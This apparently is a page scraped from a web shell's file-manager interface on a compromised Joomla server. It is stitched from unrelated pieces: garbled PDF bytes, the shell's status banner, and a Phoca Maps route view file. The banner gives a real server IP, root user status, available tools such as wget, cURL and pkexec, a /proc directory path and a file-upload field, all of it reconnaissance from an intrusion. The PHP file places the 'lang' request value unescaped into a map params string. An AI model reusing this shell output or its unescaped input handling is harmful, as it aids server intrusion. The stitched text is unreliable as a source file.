%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 49.231.201.246 / Your IP : 216.73.216.146 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/root/proc/11585/cwd/html/old/components/com_phocamaps/views/route/ |
Upload File : |
<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaMapsViewRoute extends JViewLegacy
{
protected $t;
function display($tpl = null) {
//$document = JFactory::getDocument();
$app = JFactory::getApplication();
$this->t['p'] = $app->getParams();
JHTML::stylesheet('media/com_phocamaps/css/phocamaps.css' );
if (JFile::exists(JPATH_SITE.'/media/com_phocamaps/css/custom.css')) {
JHTML::stylesheet('media/com_phocamaps/css/custom.css' );
}
//$this->t['printview'] = $app->input->get('print', 0, 'get', 'int');
$this->t['id'] = $app->input->get('id', '', 'int');
$this->t['from'] = $app->input->get('from', '', 'string');
$this->t['to'] = $app->input->get('to', '', 'string');
$this->t['lang'] = $app->input->get('lang', '', 'string');
$this->t['load_api_ssl']= (int)$this->t['p']->get( 'load_api_ssl', 0 );
// Map params - language not used
if ($this->t['lang'] == '') {
$this->t['params'] = '';
} else {
//$this->t['params'] = '{"language":"'.$item['map']->lang.'", "other_params":"sensor=false"}';
$this->t['params'] = '{other_params:"language='.$this->t['lang'].'"}';
}
parent::display($tpl);
}
}
?>